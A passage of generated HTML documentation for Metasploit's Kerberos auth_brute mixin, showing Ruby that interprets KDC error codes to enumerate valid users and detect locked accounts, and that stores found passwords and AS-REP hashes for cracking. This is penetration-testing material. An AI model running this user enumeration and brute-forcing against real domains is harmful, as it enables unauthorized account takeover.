<span class='id identifier rubyid_report_cred'>report_cred</span><span class='lparen'>(</span><span class='label'>user:</span> <span class='id identifier rubyid_user'>user</span><span class='rparen'>)</span>
|
|
<span class='kw'>elsif</span> <span class='id identifier rubyid_proof'>proof</span><span class='period'>.</span><span class='id identifier rubyid_error_code'>error_code</span> <span class='op'>==</span> <span class='const'><span class='object_link'><a href="../../../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../Rex/Proto.html" title="Rex::Proto (module)">Proto</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../Rex/Proto/Kerberos.html" title="Rex::Proto::Kerberos (module)">Kerberos</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../Rex/Proto/Kerberos/Model.html" title="Rex::Proto::Kerberos::Model (module)">Model</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../Rex/Proto/Kerberos/Model/Error.html" title="Rex::Proto::Kerberos::Model::Error (module)">Error</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../Rex/Proto/Kerberos/Model/Error/ErrorCodes.html" title="Rex::Proto::Kerberos::Model::Error::ErrorCodes (module)">ErrorCodes</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../Rex/Proto/Kerberos/Model/Error/ErrorCodes.html#KDC_ERR_PREAUTH_FAILED-constant" title="Rex::Proto::Kerberos::Model::Error::ErrorCodes::KDC_ERR_PREAUTH_FAILED (constant)">KDC_ERR_PREAUTH_FAILED</a></span></span>
|
|
<span class='comment'># If we haven't seen this user before, output that the user is present
|
|
</span> <span class='kw'>if</span> <span class='op'>!</span><span class='id identifier rubyid_attempted_users'>attempted_users</span><span class='period'>.</span><span class='id identifier rubyid_include?'>include?</span><span class='lparen'>(</span><span class='id identifier rubyid_user'>user</span><span class='rparen'>)</span>
|
|
<span class='id identifier rubyid_attempted_users'>attempted_users</span> <span class='op'><<</span> <span class='id identifier rubyid_user'>user</span>
|
|
<span class='id identifier rubyid_print_good'>print_good</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_peer'>peer</span><span class='embexpr_end'>}</span><span class='tstring_content'> - User: </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_format_user'>format_user</span><span class='lparen'>(</span><span class='id identifier rubyid_user'>user</span><span class='rparen'>)</span><span class='embexpr_end'>}</span><span class='tstring_content'> is present</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
|
<span class='id identifier rubyid_report_cred'>report_cred</span><span class='lparen'>(</span><span class='label'>user:</span> <span class='id identifier rubyid_user'>user</span><span class='rparen'>)</span>
|
|
<span class='kw'>else</span>
|
|
<span class='id identifier rubyid_vprint_status'>vprint_status</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_peer'>peer</span><span class='embexpr_end'>}</span><span class='tstring_content'> - User: </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_format_user'>format_user</span><span class='lparen'>(</span><span class='id identifier rubyid_user'>user</span><span class='rparen'>)</span><span class='embexpr_end'>}</span><span class='tstring_content'> wrong password </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_password'>password</span><span class='embexpr_end'>}</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
|
<span class='kw'>end</span>
|
|
<span class='kw'>elsif</span> <span class='id identifier rubyid_proof'>proof</span><span class='period'>.</span><span class='id identifier rubyid_error_code'>error_code</span> <span class='op'>==</span> <span class='const'><span class='object_link'><a href="../../../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../Rex/Proto.html" title="Rex::Proto (module)">Proto</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../Rex/Proto/Kerberos.html" title="Rex::Proto::Kerberos (module)">Kerberos</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../Rex/Proto/Kerberos/Model.html" title="Rex::Proto::Kerberos::Model (module)">Model</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../Rex/Proto/Kerberos/Model/Error.html" title="Rex::Proto::Kerberos::Model::Error (module)">Error</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../Rex/Proto/Kerberos/Model/Error/ErrorCodes.html" title="Rex::Proto::Kerberos::Model::Error::ErrorCodes (module)">ErrorCodes</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../Rex/Proto/Kerberos/Model/Error/ErrorCodes.html#KDC_ERR_CLIENT_REVOKED-constant" title="Rex::Proto::Kerberos::Model::Error::ErrorCodes::KDC_ERR_CLIENT_REVOKED (constant)">KDC_ERR_CLIENT_REVOKED</a></span></span>
|
|
<span class='id identifier rubyid_print_error'>print_error</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_peer'>peer</span><span class='embexpr_end'>}</span><span class='tstring_content'> - User: </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_format_user'>format_user</span><span class='lparen'>(</span><span class='id identifier rubyid_user'>user</span><span class='rparen'>)</span><span class='embexpr_end'>}</span><span class='tstring_content'> account disabled or locked out</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
|
<span class='kw'>elsif</span> <span class='id identifier rubyid_proof'>proof</span><span class='period'>.</span><span class='id identifier rubyid_error_code'>error_code</span> <span class='op'>==</span> <span class='const'><span class='object_link'><a href="../../../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../Rex/Proto.html" title="Rex::Proto (module)">Proto</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../Rex/Proto/Kerberos.html" title="Rex::Proto::Kerberos (module)">Kerberos</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../Rex/Proto/Kerberos/Model.html" title="Rex::Proto::Kerberos::Model (module)">Model</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../Rex/Proto/Kerberos/Model/Error.html" title="Rex::Proto::Kerberos::Model::Error (module)">Error</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../Rex/Proto/Kerberos/Model/Error/ErrorCodes.html" title="Rex::Proto::Kerberos::Model::Error::ErrorCodes (module)">ErrorCodes</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../Rex/Proto/Kerberos/Model/Error/ErrorCodes.html#KDC_ERR_C_PRINCIPAL_UNKNOWN-constant" title="Rex::Proto::Kerberos::Model::Error::ErrorCodes::KDC_ERR_C_PRINCIPAL_UNKNOWN (constant)">KDC_ERR_C_PRINCIPAL_UNKNOWN</a></span></span>
|
|
<span class='id identifier rubyid_vprint_status'>vprint_status</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_peer'>peer</span><span class='embexpr_end'>}</span><span class='tstring_content'> - User: </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_format_user'>format_user</span><span class='lparen'>(</span><span class='id identifier rubyid_user'>user</span><span class='rparen'>)</span><span class='embexpr_end'>}</span><span class='tstring_content'> user not found</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
|
<span class='kw'>else</span>
|
|
<span class='id identifier rubyid_vprint_status'>vprint_status</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_peer'>peer</span><span class='embexpr_end'>}</span><span class='tstring_content'> - User: </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_format_user'>format_user</span><span class='lparen'>(</span><span class='id identifier rubyid_user'>user</span><span class='rparen'>)</span><span class='embexpr_end'>}</span><span class='tstring_content'> - </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_proof'>proof</span><span class='embexpr_end'>}</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
|
<span class='kw'>end</span>
|
|
<span class='kw'>when</span> <span class='const'><span class='object_link'><a href="../../../../Metasploit.html" title="Metasploit (module)">Metasploit</a></span></span><span class='op'>::</span><span class='const'>Model</span><span class='op'>::</span><span class='const'>Login</span><span class='op'>::</span><span class='const'>Status</span><span class='op'>::</span><span class='const'>LOCKED_OUT</span>
|
|
<span class='id identifier rubyid_print_error'>print_error</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_peer'>peer</span><span class='embexpr_end'>}</span><span class='tstring_content'> - User: </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_format_user'>format_user</span><span class='lparen'>(</span><span class='id identifier rubyid_user'>user</span><span class='rparen'>)</span><span class='embexpr_end'>}</span><span class='tstring_content'> account locked out</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
|
<span class='kw'>when</span> <span class='const'><span class='object_link'><a href="../../../../Metasploit.html" title="Metasploit (module)">Metasploit</a></span></span><span class='op'>::</span><span class='const'>Model</span><span class='op'>::</span><span class='const'>Login</span><span class='op'>::</span><span class='const'>Status</span><span class='op'>::</span><span class='const'>DISABLED</span>
|
|
<span class='id identifier rubyid_print_error'>print_error</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_peer'>peer</span><span class='embexpr_end'>}</span><span class='tstring_content'> - User: </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_format_user'>format_user</span><span class='lparen'>(</span><span class='id identifier rubyid_user'>user</span><span class='rparen'>)</span><span class='embexpr_end'>}</span><span class='tstring_content'> account disabled or expired</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
|
<span class='kw'>when</span> <span class='const'><span class='object_link'><a href="../../../../Metasploit.html" title="Metasploit (module)">Metasploit</a></span></span><span class='op'>::</span><span class='const'>Model</span><span class='op'>::</span><span class='const'>Login</span><span class='op'>::</span><span class='const'>Status</span><span class='op'>::</span><span class='const'>DENIED_ACCESS</span>
|
|
<span class='id identifier rubyid_print_error'>print_error</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_peer'>peer</span><span class='embexpr_end'>}</span><span class='tstring_content'> - User: </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_format_user'>format_user</span><span class='lparen'>(</span><span class='id identifier rubyid_user'>user</span><span class='rparen'>)</span><span class='embexpr_end'>}</span><span class='tstring_content'> account unable to log in</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
|
<span class='kw'>else</span>
|
|
<span class='id identifier rubyid_print_error'>print_error</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_peer'>peer</span><span class='embexpr_end'>}</span><span class='tstring_content'> - User: </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_format_user'>format_user</span><span class='lparen'>(</span><span class='id identifier rubyid_user'>user</span><span class='rparen'>)</span><span class='embexpr_end'>}</span><span class='tstring_content'> </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_proof'>proof</span><span class='embexpr_end'>}</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
|
<span class='kw'>end</span>
|
|
<span class='kw'>end</span>
|
|
<span class='kw'>end</span></pre>
|
|
</td>
|
|
</tr>
|
|
</table>
|
|
</div>
|
|
|
|
<div class="method_details ">
|
|
<h3 class="signature " id="initialize-instance_method">
|
|
|
|
#<strong>initialize</strong>(info = {}) ⇒ <tt>Object</tt>
|
|
|
|
|
|
|
|
|
|
|
|
</h3><table class="source_code">
|
|
<tr>
|
|
<td>
|
|
<pre class="lines">
|
|
|
|
|
|
13
|
|
14
|
|
15
|
|
16
|
|
17
|
|
18
|
|
19
|
|
20
|
|
21
|
|
22
|
|
23
|
|
24
|
|
25
|
|
26
|
|
27</pre>
|
|
</td>
|
|
<td>
|
|
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/kerberos/auth_brute.rb', line 13</span>
|
|
|
|
<span class='kw'>def</span> <span class='id identifier rubyid_initialize'>initialize</span><span class='lparen'>(</span><span class='id identifier rubyid_info'>info</span> <span class='op'>=</span> <span class='lbrace'>{</span><span class='rbrace'>}</span><span class='rparen'>)</span>
|
|
<span class='kw'>super</span>
|
|
|
|
<span class='id identifier rubyid_register_options'>register_options</span><span class='lparen'>(</span>
|
|
<span class='lbracket'>[</span>
|
|
<span class='const'><span class='object_link'><a href="../../../../Msf.html" title="Msf (module)">Msf</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../OptString.html" title="Msf::OptString (class)">OptString</a></span></span><span class='period'>.</span><span class='id identifier rubyid_new'><span class='object_link'><a href="../../../OptString.html#initialize-instance_method" title="Msf::OptString#initialize (method)">new</a></span></span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>DOMAIN</span><span class='tstring_end'>'</span></span><span class='comma'>,</span> <span class='lbracket'>[</span><span class='kw'>true</span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>The Domain Eg: demo.local</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span><span class='rparen'>)</span>
|
|
<span class='rbracket'>]</span>
|
|
<span class='rparen'>)</span>
|
|
|
|
<span class='id identifier rubyid_register_advanced_options'>register_advanced_options</span><span class='lparen'>(</span>
|
|
<span class='lbracket'>[</span>
|
|
<span class='const'><span class='object_link'><a href="../../../../Msf.html" title="Msf (module)">Msf</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../OptInt.html" title="Msf::OptInt (class)">OptInt</a></span></span><span class='period'>.</span><span class='id identifier rubyid_new'><span class='object_link'><a href="../../../OptBase.html#initialize-instance_method" title="Msf::OptBase#initialize (method)">new</a></span></span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>Timeout</span><span class='tstring_end'>'</span></span><span class='comma'>,</span> <span class='lbracket'>[</span><span class='kw'>true</span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>Maximum number of seconds to establish a TCP connection</span><span class='tstring_end'>'</span></span><span class='comma'>,</span> <span class='int'>20</span><span class='rbracket'>]</span><span class='rparen'>)</span>
|
|
<span class='rbracket'>]</span>
|
|
<span class='rparen'>)</span>
|
|
<span class='kw'>end</span></pre>
|
|
</td>
|
|
</tr>
|
|
</table>
|
|
</div>
|
|
|
|
<div class="method_details ">
|
|
<h3 class="signature " id="report_cred-instance_method">
|
|
|
|
#<strong>report_cred</strong>(opts) ⇒ <tt>Object</tt>
|
|
|
|
|
|
|
|
|
|
|
|
</h3><table class="source_code">
|
|
<tr>
|
|
<td>
|
|
<pre class="lines">
|
|
|
|
|
|
126
|
|
127
|
|
128
|
|
129
|
|
130
|
|
131
|
|
132
|
|
133
|
|
134
|
|
135
|
|
136
|
|
137
|
|
138
|
|
139
|
|
140
|
|
141
|
|
142
|
|
143
|
|
144
|
|
145
|
|
146
|
|
147
|
|
148
|
|
149
|
|
150
|
|
151
|
|
152
|
|
153
|
|
154
|
|
155
|
|
156
|
|
157
|
|
158
|
|
159
|
|
160
|
|
161
|
|
162
|
|
163
|
|
164
|
|
165</pre>
|
|
</td>
|
|
<td>
|
|
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/kerberos/auth_brute.rb', line 126</span>
|
|
|
|
<span class='kw'>def</span> <span class='id identifier rubyid_report_cred'>report_cred</span><span class='lparen'>(</span><span class='id identifier rubyid_opts'>opts</span><span class='rparen'>)</span>
|
|
<span class='id identifier rubyid_domain'>domain</span> <span class='op'>=</span> <span class='id identifier rubyid_datastore'>datastore</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>DOMAIN</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span><span class='period'>.</span><span class='id identifier rubyid_upcase'>upcase</span>
|
|
|
|
<span class='id identifier rubyid_service_data'>service_data</span> <span class='op'>=</span> <span class='lbrace'>{</span>
|
|
<span class='label'>address:</span> <span class='id identifier rubyid_rhost'>rhost</span><span class='comma'>,</span>
|
|
<span class='label'>port:</span> <span class='id identifier rubyid_rport'>rport</span><span class='comma'>,</span>
|
|
<span class='label'>protocol:</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>tcp</span><span class='tstring_end'>'</span></span><span class='comma'>,</span>
|
|
<span class='label'>workspace_id:</span> <span class='id identifier rubyid_myworkspace_id'>myworkspace_id</span><span class='comma'>,</span>
|
|
<span class='label'>service_name:</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>kerberos</span><span class='tstring_end'>'</span></span><span class='comma'>,</span>
|
|
<span class='label'>realm_key:</span> <span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../Metasploit.html" title="Metasploit (module)">Metasploit</a></span></span><span class='op'>::</span><span class='const'>Model</span><span class='op'>::</span><span class='const'>Realm</span><span class='op'>::</span><span class='const'>Key</span><span class='op'>::</span><span class='const'>ACTIVE_DIRECTORY_DOMAIN</span><span class='comma'>,</span>
|
|
<span class='label'>realm_value:</span> <span class='id identifier rubyid_domain'>domain</span>
|
|
<span class='rbrace'>}</span>
|
|
|
|
<span class='id identifier rubyid_credential_data'>credential_data</span> <span class='op'>=</span> <span class='lbrace'>{</span>
|
|
<span class='label'>username:</span> <span class='id identifier rubyid_opts'>opts</span><span class='lbracket'>[</span><span class='symbol'>:user</span><span class='rbracket'>]</span><span class='comma'>,</span>
|
|
<span class='label'>origin_type:</span> <span class='symbol'>:service</span><span class='comma'>,</span>
|
|
<span class='label'>module_fullname:</span> <span class='id identifier rubyid_fullname'>fullname</span>
|
|
<span class='rbrace'>}</span><span class='period'>.</span><span class='id identifier rubyid_merge'>merge</span><span class='lparen'>(</span><span class='id identifier rubyid_service_data'>service_data</span><span class='rparen'>)</span>
|
|
|
|
<span class='comment'># TODO: Confirm if we should store both passwords and asrep accounts as two separate logins or not
|
|
</span> <span class='kw'>if</span> <span class='id identifier rubyid_opts'>opts</span><span class='lbracket'>[</span><span class='symbol'>:password</span><span class='rbracket'>]</span>
|
|
<span class='id identifier rubyid_credential_data'>credential_data</span><span class='period'>.</span><span class='id identifier rubyid_merge!'>merge!</span><span class='lparen'>(</span>
|
|
<span class='label'>private_data:</span> <span class='id identifier rubyid_opts'>opts</span><span class='lbracket'>[</span><span class='symbol'>:password</span><span class='rbracket'>]</span><span class='comma'>,</span>
|
|
<span class='label'>private_type:</span> <span class='symbol'>:password</span>
|
|
<span class='rparen'>)</span>
|
|
<span class='kw'>elsif</span> <span class='id identifier rubyid_opts'>opts</span><span class='lbracket'>[</span><span class='symbol'>:asrep</span><span class='rbracket'>]</span>
|
|
<span class='id identifier rubyid_credential_data'>credential_data</span><span class='period'>.</span><span class='id identifier rubyid_merge!'>merge!</span><span class='lparen'>(</span>
|
|
<span class='label'>private_data:</span> <span class='id identifier rubyid_opts'>opts</span><span class='lbracket'>[</span><span class='symbol'>:asrep</span><span class='rbracket'>]</span><span class='comma'>,</span>
|
|
<span class='label'>private_type:</span> <span class='symbol'>:nonreplayable_hash</span><span class='comma'>,</span>
|
|
<span class='label'>jtr_format:</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>krb5</span><span class='tstring_end'>'</span></span>
|
|
<span class='rparen'>)</span>
|
|
<span class='kw'>end</span>
|
|
|
|
<span class='id identifier rubyid_login_data'>login_data</span> <span class='op'>=</span> <span class='lbrace'>{</span>
|
|
<span class='label'>core:</span> <span class='id identifier rubyid_create_credential'>create_credential</span><span class='lparen'>(</span><span class='id identifier rubyid_credential_data'>credential_data</span><span class='rparen'>)</span><span class='comma'>,</span>
|
|
<span class='label'>status:</span> <span class='const'><span class='object_link'><a href="../../../../Metasploit.html" title="Metasploit (module)">Metasploit</a></span></span><span class='op'>::</span><span class='const'>Model</span><span class='op'>::</span><span class='const'>Login</span><span class='op'>::</span><span class='const'>Status</span><span class='op'>::</span><span class='const'>UNTRIED</span>
|
|
<span class='rbrace'>}</span><span class='period'>.</span><span class='id identifier rubyid_merge'>merge</span><span class='lparen'>(</span><span class='id identifier rubyid_service_data'>service_data</span><span class='rparen'>)</span>
|
|
|
|
<span class='id identifier rubyid_create_credential_login'>create_credential_login</span><span class='lparen'>(</span><span class='id identifier rubyid_login_data'>login_data</span><span class='rparen'>)</span>
|
|
<span class='kw'>end</span></pre>
|
|
</td>
|
|
</tr>
|
|
</table>
|
|
</div>
|
|
|
|
</div>
|
|
|
|
</div>
|
|
|
|
<div id="footer">
|
|
Generated on Fri May 8 17:02:29 2026 by
|
|
<a href="https://yardoc.org" title="Yay! A Ruby Documentation Tool" target="_parent">yard</a>
|
|
0.9.37 (ruby-3.1.5).
|
|
</div>
|
|
|
|
</div>
|
|
</body>
|
|
</html> |